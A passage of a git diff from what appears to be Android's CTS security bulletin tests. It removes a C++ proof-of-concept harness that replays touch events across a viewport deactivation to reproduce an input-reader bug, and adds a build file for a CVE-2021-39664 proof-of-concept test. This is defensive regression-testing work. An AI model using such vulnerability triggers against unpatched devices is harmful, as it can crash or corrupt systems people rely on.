- return nullptr;
- }
-
- std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; }
-
- void waitForInputDevices(std::function<void(bool)> processDevicesChanged) {
- std::unique_lock<std::mutex> lock(mLock);
- base::ScopedLockAssertion assumeLocked(mLock);
-
- mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) {
- return mInputDevicesChanged;
- });
- mInputDevicesChanged = false;
- }
-};
-
-// --- TestEventHub ---
-
-class TestEventHub : public EventHubInterface {
- struct KeyInfo {
- int32_t keyCode;
- uint32_t flags;
- };
-
- struct SensorInfo {
- InputDeviceSensorType sensorType;
- int32_t sensorDataIndex;
- };
-
- struct Device {
- InputDeviceIdentifier identifier;
- Flags<InputDeviceClass> classes;
- PropertyMap configuration;
- KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes;
- KeyedVector<int, bool> relativeAxes;
- KeyedVector<int32_t, int32_t> keyCodeStates;
- KeyedVector<int32_t, int32_t> scanCodeStates;
- KeyedVector<int32_t, int32_t> switchStates;
- KeyedVector<int32_t, int32_t> absoluteAxisValue;
- KeyedVector<int32_t, KeyInfo> keysByScanCode;
- KeyedVector<int32_t, KeyInfo> keysByUsageCode;
- KeyedVector<int32_t, bool> leds;
- std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode;
- BitArray<MSC_MAX> mscBitmask;
- std::vector<VirtualKeyDefinition> virtualKeys;
- bool enabled;
-
- status_t enable() {
- enabled = true;
- return OK;
- }
-
- status_t disable() {
- enabled = false;
- return OK;
- }
-
- explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {}
- };
-
- std::mutex mLock;
- std::condition_variable mEventsCondition;
-
- KeyedVector<int32_t, Device*> mDevices;
- std::vector<std::string> mExcludedDevices;
- std::vector<RawEvent> mEvents GUARDED_BY(mLock);
- std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames;
- std::vector<int32_t> mVibrators = {0, 1};
- std::unordered_map<int32_t, RawLightInfo> mRawLightInfos;
- // Simulates a device light brightness, from light id to light brightness.
- std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness;
- // Simulates a device light intensities, from light id to light intensities map.
- std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>>
- mLightIntensities;
-
-public:
- virtual ~TestEventHub() {
- for (size_t i = 0; i < mDevices.size(); i++) {
- delete mDevices.valueAt(i);
- }
- }
-
- TestEventHub() {}
-
- void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) {
- Device* device = new Device(classes);
- device->identifier.name = name;
- mDevices.add(deviceId, device);
-
- enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0);
- }
-
- void removeDevice(int32_t deviceId) {
- delete mDevices.valueFor(deviceId);
- mDevices.removeItem(deviceId);
-
- enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0);
- }
-
- bool isDeviceEnabled(int32_t deviceId) {
- Device* device = getDevice(deviceId);
- if (device == nullptr) {
- ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
- return false;
- }
- return device->enabled;
- }
-
- status_t enableDevice(int32_t deviceId) {
- status_t result;
- Device* device = getDevice(deviceId);
- if (device == nullptr) {
- ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
- return BAD_VALUE;
- }
- if (device->enabled) {
- ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId);
- return OK;
- }
- result = device->enable();
- return result;
- }
-
- status_t disableDevice(int32_t deviceId) {
- Device* device = getDevice(deviceId);
- if (device == nullptr) {
- ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
- return BAD_VALUE;
- }
- if (!device->enabled) {
- ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId);
- return OK;
- }
- return device->disable();
- }
-
- void finishDeviceScan() {
- enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0);
- }
-
- void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) {
- Device* device = getDevice(deviceId);
- device->configuration.addProperty(key, value);
- }
-
- void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) {
- Device* device = getDevice(deviceId);
- device->configuration.addAll(configuration);
- }
-
- void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat,
- int fuzz, int resolution = 0) {
- Device* device = getDevice(deviceId);
-
- RawAbsoluteAxisInfo info;
- info.valid = true;
- info.minValue = minValue;
- info.maxValue = maxValue;
- info.flat = flat;
- info.fuzz = fuzz;
- info.resolution = resolution;
- device->absoluteAxes.add(axis, info);
- }
-
- void addRelativeAxis(int32_t deviceId, int32_t axis) {
- Device* device = getDevice(deviceId);
- device->relativeAxes.add(axis, true);
- }
-
- void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) {
- Device* device = getDevice(deviceId);
- device->keyCodeStates.replaceValueFor(keyCode, state);
- }
-
- void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) {
- Device* device = getDevice(deviceId);
- device->scanCodeStates.replaceValueFor(scanCode, state);
- }
-
- void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) {
- Device* device = getDevice(deviceId);
- device->switchStates.replaceValueFor(switchCode, state);
- }
-
- void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) {
- Device* device = getDevice(deviceId);
- device->absoluteAxisValue.replaceValueFor(axis, value);
- }
-
- void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode,
- uint32_t flags) {
- Device* device = getDevice(deviceId);
- KeyInfo info;
- info.keyCode = keyCode;
- info.flags = flags;
- if (scanCode) {
- device->keysByScanCode.add(scanCode, info);
- }
- if (usageCode) {
- device->keysByUsageCode.add(usageCode, info);
- }
- }
-
- void addLed(int32_t deviceId, int32_t led, bool initialState) {
- Device* device = getDevice(deviceId);
- device->leds.add(led, initialState);
- }
-
- void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType,
- int32_t sensorDataIndex) {
- Device* device = getDevice(deviceId);
- SensorInfo info;
- info.sensorType = sensorType;
- info.sensorDataIndex = sensorDataIndex;
- device->sensorsByAbsCode.emplace(absCode, info);
- }
-
- void setMscEvent(int32_t deviceId, int32_t mscEvent) {
- Device* device = getDevice(deviceId);
- typename BitArray<MSC_MAX>::Buffer buffer;
- buffer[mscEvent / 32] = 1 << mscEvent % 32;
- device->mscBitmask.loadFromBuffer(buffer);
- }
-
- void addRawLightInfo(int32_t rawId, RawLightInfo&& info) {
- mRawLightInfos.emplace(rawId, std::move(info));
- }
-
- void testLightBrightness(int32_t rawId, int32_t brightness) {
- mLightBrightness.emplace(rawId, brightness);
- }
-
- void testLightIntensities(int32_t rawId,
- const std::unordered_map<LightColor, int32_t> intensities) {
- mLightIntensities.emplace(rawId, std::move(intensities));
- }
-
- bool getLedState(int32_t deviceId, int32_t led) {
- Device* device = getDevice(deviceId);
- return device->leds.valueFor(led);
- }
-
- std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; }
-
- void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) {
- Device* device = getDevice(deviceId);
- device->virtualKeys.push_back(definition);
- }
-
- void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code,
- int32_t value) {
- std::scoped_lock<std::mutex> lock(mLock);
- RawEvent event;
- event.when = when;
- event.readTime = readTime;
- event.deviceId = deviceId;
- event.type = type;
- event.code = code;
- event.value = value;
- mEvents.push_back(event);
-
- if (type == EV_ABS) {
- setAbsoluteAxisValue(deviceId, code, value);
- }
- }
-
- void setVideoFrames(
- std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) {
- mVideoFrames = std::move(videoFrames);
- }
-
-private:
- Device* getDevice(int32_t deviceId) const {
- ssize_t index = mDevices.indexOfKey(deviceId);
- return index >= 0 ? mDevices.valueAt(index) : nullptr;
- }
-
- Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override {
- Device* device = getDevice(deviceId);
- return device ? device->classes : Flags<InputDeviceClass>(0);
- }
-
- InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override {
- Device* device = getDevice(deviceId);
- return device ? device->identifier : InputDeviceIdentifier();
- }
-
- int32_t getDeviceControllerNumber(int32_t) const override { return 0; }
-
- void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- *outConfiguration = device->configuration;
- }
- }
-
- status_t getAbsoluteAxisInfo(int32_t deviceId, int axis,
- RawAbsoluteAxisInfo* outAxisInfo) const override {
- Device* device = getDevice(deviceId);
- if (device && device->enabled) {
- ssize_t index = device->absoluteAxes.indexOfKey(axis);
- if (index >= 0) {
- *outAxisInfo = device->absoluteAxes.valueAt(index);
- return OK;
- }
- }
- outAxisInfo->clear();
- return -1;
- }
-
- bool hasRelativeAxis(int32_t deviceId, int axis) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- return device->relativeAxes.indexOfKey(axis) >= 0;
- }
- return false;
- }
-
- bool hasInputProperty(int32_t, int) const override { return false; }
-
- bool hasMscEvent(int32_t deviceId, int mscEvent) const override final {
- Device* device = getDevice(deviceId);
- if (device) {
- return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false;
- }
- return false;
- }
-
- status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState,
- int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- const KeyInfo* key = getKey(device, scanCode, usageCode);
- if (key) {
- if (outKeycode) {
- *outKeycode = key->keyCode;
- }
- if (outFlags) {
- *outFlags = key->flags;
- }
- if (outMetaState) {
- *outMetaState = metaState;
- }
- return OK;
- }
- }
- return NAME_NOT_FOUND;
- }
-
- const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const {
- if (usageCode) {
- ssize_t index = device->keysByUsageCode.indexOfKey(usageCode);
- if (index >= 0) {
- return &device->keysByUsageCode.valueAt(index);
- }
- }
- if (scanCode) {
- ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
- if (index >= 0) {
- return &device->keysByScanCode.valueAt(index);
- }
- }
- return nullptr;
- }
-
- status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; }
-
- base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId,
- int32_t absCode) {
- Device* device = getDevice(deviceId);
- if (!device) {
- return Errorf("Sensor device not found.");
- }
- auto it = device->sensorsByAbsCode.find(absCode);
- if (it == device->sensorsByAbsCode.end()) {
- return Errorf("Sensor map not found.");
- }
- const SensorInfo& info = it->second;
- return std::make_pair(info.sensorType, info.sensorDataIndex);
- }
-
- void setExcludedDevices(const std::vector<std::string>& devices) override {
- mExcludedDevices = devices;
- }
-
- size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override {
- std::scoped_lock lock(mLock);
-
- const size_t filledSize = std::min(mEvents.size(), bufferSize);
- std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer);
-
- mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize);
- mEventsCondition.notify_all();
- return filledSize;
- }
-
- std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override {
- auto it = mVideoFrames.find(deviceId);
- if (it != mVideoFrames.end()) {
- std::vector<TouchVideoFrame> frames = std::move(it->second);
- mVideoFrames.erase(deviceId);
- return frames;
- }
- return {};
- }
-
- int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->scanCodeStates.indexOfKey(scanCode);
- if (index >= 0) {
- return device->scanCodeStates.valueAt(index);
- }
- }
- return AKEY_STATE_UNKNOWN;
- }
-
- int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->keyCodeStates.indexOfKey(keyCode);
- if (index >= 0) {
- return device->keyCodeStates.valueAt(index);
- }
- }
- return AKEY_STATE_UNKNOWN;
- }
-
- int32_t getSwitchState(int32_t deviceId, int32_t sw) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->switchStates.indexOfKey(sw);
- if (index >= 0) {
- return device->switchStates.valueAt(index);
- }
- }
- return AKEY_STATE_UNKNOWN;
- }
-
- status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis,
- int32_t* outValue) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->absoluteAxisValue.indexOfKey(axis);
- if (index >= 0) {
- *outValue = device->absoluteAxisValue.valueAt(index);
- return OK;
- }
- }
- *outValue = 0;
- return -1;
- }
-
- // Return true if the device has non-empty key layout.
- bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes,
- uint8_t* outFlags) const override {
- bool result = false;
- Device* device = getDevice(deviceId);
- if (device) {
- result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0;
- for (size_t i = 0; i < numCodes; i++) {
- for (size_t j = 0; j < device->keysByScanCode.size(); j++) {
- if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) {
- outFlags[i] = 1;
- }
- }
- for (size_t j = 0; j < device->keysByUsageCode.size(); j++) {
- if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) {
- outFlags[i] = 1;
- }
- }
- }
- }
- return result;
- }
-
- bool hasScanCode(int32_t deviceId, int32_t scanCode) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
- return index >= 0;
- }
- return false;
- }
-
- bool hasLed(int32_t deviceId, int32_t led) const override {
- Device* device = getDevice(deviceId);
- return device && device->leds.indexOfKey(led) >= 0;
- }
-
- void setLedState(int32_t deviceId, int32_t led, bool on) override {}
-
- void getVirtualKeyDefinitions(
- int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override {
- outVirtualKeys.clear();
-
- Device* device = getDevice(deviceId);
- if (device) {
- outVirtualKeys = device->virtualKeys;
- }
- }
-
- const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override {
- return nullptr;
- }
-
- bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override {
- return false;
- }
-
- void vibrate(int32_t, const VibrationElement&) override {}
-
- void cancelVibrate(int32_t) override {}
-
- std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; };
-
- std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override {
- return BATTERY_CAPACITY;
- }
-
- std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override {
- return BATTERY_STATUS;
- }
-
- const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; }
-
- std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) {
- return std::nullopt;
- }
-
- const std::vector<int32_t> getRawLightIds(int32_t deviceId) override {
- std::vector<int32_t> ids;
- for (const auto& [rawId, info] : mRawLightInfos) {
- ids.push_back(rawId);
- }
- return ids;
- }
-
- std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override {
- auto it = mRawLightInfos.find(lightId);
- if (it == mRawLightInfos.end()) {
- return std::nullopt;
- }
- return it->second;
- }
-
- void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override {
- mLightBrightness.emplace(lightId, brightness);
- }
-
- void setLightIntensities(int32_t deviceId, int32_t lightId,
- std::unordered_map<LightColor, int32_t> intensities) override {
- mLightIntensities.emplace(lightId, intensities);
- };
-
- std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override {
- auto lightIt = mLightBrightness.find(lightId);
- if (lightIt == mLightBrightness.end()) {
- return std::nullopt;
- }
- return lightIt->second;
- }
-
- std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities(
- int32_t deviceId, int32_t lightId) override {
- auto lightIt = mLightIntensities.find(lightId);
- if (lightIt == mLightIntensities.end()) {
- return std::nullopt;
- }
- return lightIt->second;
- };
-
- virtual bool isExternal(int32_t) const { return false; }
-
- void dump(std::string&) override {}
-
- void monitor() override {}
-
- void requestReopenDevices() override {}
-
- void wake() override {}
-};
-
-// --- TestInputMapper---
-
-class TestInputMapper : public InputMapper {
- uint32_t mSources;
- int32_t mKeyboardType;
- int32_t mMetaState;
- KeyedVector<int32_t, int32_t> mKeyCodeStates;
- KeyedVector<int32_t, int32_t> mScanCodeStates;
- KeyedVector<int32_t, int32_t> mSwitchStates;
- std::vector<int32_t> mSupportedKeyCodes;
-
- std::mutex mLock;
- std::condition_variable mStateChangedCondition;
- bool mConfigureWasCalled GUARDED_BY(mLock);
- bool mResetWasCalled GUARDED_BY(mLock);
- bool mProcessWasCalled GUARDED_BY(mLock);
- RawEvent mLastEvent GUARDED_BY(mLock);
-
- std::optional<DisplayViewport> mViewport;
-
-public:
- TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources)
- : InputMapper(deviceContext),
- mSources(sources),
- mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE),
- mMetaState(0),
- mConfigureWasCalled(false),
- mResetWasCalled(false),
- mProcessWasCalled(false) {}
-
- virtual ~TestInputMapper() {}
-
- void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; }
-
- void setMetaState(int32_t metaState) { mMetaState = metaState; }
- void setKeyCodeState(int32_t keyCode, int32_t state) {
- mKeyCodeStates.replaceValueFor(keyCode, state);
- }
-
- void setScanCodeState(int32_t scanCode, int32_t state) {
- mScanCodeStates.replaceValueFor(scanCode, state);
- }
-
- void setSwitchState(int32_t switchCode, int32_t state) {
- mSwitchStates.replaceValueFor(switchCode, state);
- }
-
- void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); }
-
-private:
- uint32_t getSources() override { return mSources; }
-
- void populateDeviceInfo(InputDeviceInfo* deviceInfo) override {
- InputMapper::populateDeviceInfo(deviceInfo);
-
- if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) {
- deviceInfo->setKeyboardType(mKeyboardType);
- }
- }
-
- void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mConfigureWasCalled = true;
-
- // Find the associated viewport if exist.
- const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort();
- if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
- mViewport = config->getDisplayViewportByPort(*displayPort);
- }
-
- mStateChangedCondition.notify_all();
- }
-
- void reset(nsecs_t) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mResetWasCalled = true;
- mStateChangedCondition.notify_all();
- }
-
- void process(const RawEvent* rawEvent) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mLastEvent = *rawEvent;
- mProcessWasCalled = true;
- mStateChangedCondition.notify_all();
- }
-
- int32_t getKeyCodeState(uint32_t, int32_t keyCode) override {
- ssize_t index = mKeyCodeStates.indexOfKey(keyCode);
- return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
- }
-
- int32_t getScanCodeState(uint32_t, int32_t scanCode) override {
- ssize_t index = mScanCodeStates.indexOfKey(scanCode);
- return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
- }
-
- int32_t getSwitchState(uint32_t, int32_t switchCode) override {
- ssize_t index = mSwitchStates.indexOfKey(switchCode);
- return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN;
- }
-
- // Return true if the device has non-empty key layout.
- bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes,
- uint8_t* outFlags) override {
- for (size_t i = 0; i < numCodes; i++) {
- for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) {
- if (keyCodes[i] == mSupportedKeyCodes[j]) {
- outFlags[i] = 1;
- }
- }
- }
- bool result = mSupportedKeyCodes.size() > 0;
- return result;
- }
-
- virtual int32_t getMetaState() { return mMetaState; }
-
- virtual void fadePointer() {}
-
- virtual std::optional<int32_t> getAssociatedDisplay() {
- if (mViewport) {
- return std::make_optional(mViewport->displayId);
- }
- return std::nullopt;
- }
-};
-
-// --- InstrumentedInputReader ---
-
-class InstrumentedInputReader : public InputReader {
- std::queue<std::shared_ptr<InputDevice>> mNextDevices;
-
-public:
- InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub,
- const sp<InputReaderPolicyInterface>& policy,
- const sp<InputListenerInterface>& listener)
- : InputReader(eventHub, policy, listener), mTestContext(this) {}
-
- virtual ~InstrumentedInputReader() {}
-
- void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); }
-
- std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
- const std::string& location = "") {
- InputDeviceIdentifier identifier;
- identifier.name = name;
- identifier.location = location;
- int32_t generation = deviceId + 1;
- return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier);
- }
-
- // Make the protected loopOnce method accessible to tests.
- using InputReader::loopOnce;
-
-protected:
- virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId,
- const InputDeviceIdentifier& identifier)
- REQUIRES(mLock) {
- if (!mNextDevices.empty()) {
- std::shared_ptr<InputDevice> device(std::move(mNextDevices.front()));
- mNextDevices.pop();
- return device;
- }
- return InputReader::createDeviceLocked(eventHubId, identifier);
- }
-
- // --- TestInputReaderContext ---
- class TestInputReaderContext : public ContextImpl {
- int32_t mGlobalMetaState;
- bool mUpdateGlobalMetaStateWasCalled;
- int32_t mGeneration;
-
- public:
- TestInputReaderContext(InputReader* reader)
- : ContextImpl(reader),
- mGlobalMetaState(0),
- mUpdateGlobalMetaStateWasCalled(false),
- mGeneration(1) {}
-
- virtual ~TestInputReaderContext() {}
-
- void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; }
-
- void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; }
-
- uint32_t getGeneration() { return mGeneration; }
-
- void updateGlobalMetaState() override {
- mUpdateGlobalMetaStateWasCalled = true;
- ContextImpl::updateGlobalMetaState();
- }
-
- int32_t getGlobalMetaState() override {
- return mGlobalMetaState | ContextImpl::getGlobalMetaState();
- }
-
- int32_t bumpGeneration() override {
- mGeneration = ContextImpl::bumpGeneration();
- return mGeneration;
- }
- } mTestContext;
-
-public:
- TestInputReaderContext* getContext() { return &mTestContext; }
-};
-
-// --- InputMapperTest ---
-
-class InputMapperTest {
-public:
- std::shared_ptr<TestEventHub> mTestEventHub;
- sp<TestInputReaderPolicy> mTestPolicy;
- sp<TestInputListener> mTestListener;
- std::unique_ptr<InstrumentedInputReader> mReader;
- std::shared_ptr<InputDevice> mDevice;
-
- virtual void SetUp(Flags<InputDeviceClass> classes) {
- mTestEventHub = std::make_unique<TestEventHub>();
- mTestPolicy = new TestInputReaderPolicy();
- mTestListener = new TestInputListener();
- mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy,
- mTestListener);
- mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes);
- }
-
- void SetUp() { SetUp(DEVICE_CLASSES); }
-
- void TearDown() {
- mTestListener.clear();
- mTestPolicy.clear();
- }
- virtual ~InputMapperTest() {}
-
- void addConfigurationProperty(const char* key, const char* value) {
- mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value));
- }
-
- void configureDevice(uint32_t changes) {
- if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
- mReader->requestRefreshConfiguration(changes);
- mReader->loopOnce();
- }
- mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes);
- }
-
- std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
- const std::string& location, int32_t eventHubId,
- Flags<InputDeviceClass> classes) {
- InputDeviceIdentifier identifier;
- identifier.name = name;
- identifier.location = location;
- std::shared_ptr<InputDevice> device =
- std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION,
- identifier);
- mReader->pushNextDevice(device);
- mTestEventHub->addDevice(eventHubId, name, classes);
- mReader->loopOnce();
- return device;
- }
-
- template <class T, typename... Args>
- T& addMapperAndConfigure(Args... args) {
- T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...);
- configureDevice(0);
- mDevice->reset(ARBITRARY_TIME);
- mapper.reset(ARBITRARY_TIME);
- return mapper;
- }
-
- void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height,
- int32_t orientation, const std::string& uniqueId,
- std::optional<uint8_t> physicalPort,
- ViewportType viewportType) {
- mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/,
- uniqueId, physicalPort, viewportType);
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
- }
-
- void clearViewports() { mTestPolicy->clearViewports(); }
-
- void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code,
- int32_t value) {
- RawEvent event;
- event.when = when;
- event.readTime = readTime;
- event.deviceId = mapper.getDeviceContext().getEventHubId();
- event.type = type;
- event.code = code;
- event.value = value;
- mapper.process(&event);
- mReader->loopOnce();
- }
- void Process_DeactivateViewport_AbortTouches();
-};
-
-void InputMapperTest::Process_DeactivateViewport_AbortTouches() {
- SetUp();
- addConfigurationProperty("touch.deviceType", "touchScreen");
- mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT,
- DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT,
- ViewportType::INTERNAL);
- std::optional<DisplayViewport> optionalDisplayViewport =
- mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID);
- DisplayViewport displayViewport = *optionalDisplayViewport;
-
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
- mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0);
- mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0);
- MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>();
-
- // Finger down
- int32_t x = 100, y = 100;
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-
- NotifyMotionArgs motionArgs;
-
- // Deactivate display viewport
- displayViewport.isActive = false;
- mTestPolicy->updateViewport(displayViewport);
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-
- // Finger move
- x += 10, y += 10;
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-
- // Reactivate display viewport
- displayViewport.isActive = true;
- mTestPolicy->updateViewport(displayViewport);
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-
- // Finger move again
- x += 10, y += 10;
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-}
-
-} // namespace android
-
-int main() {
- android::InputMapperTest inputMapperTest;
- inputMapperTest.Process_DeactivateViewport_AbortTouches();
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
new file mode 100644
index 00000000000..8fd68012c9c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39664",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libandroidfw",
+ "libui",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
new file mode 100644
index 00000000000..0c477f6eb18
--- /dev/null
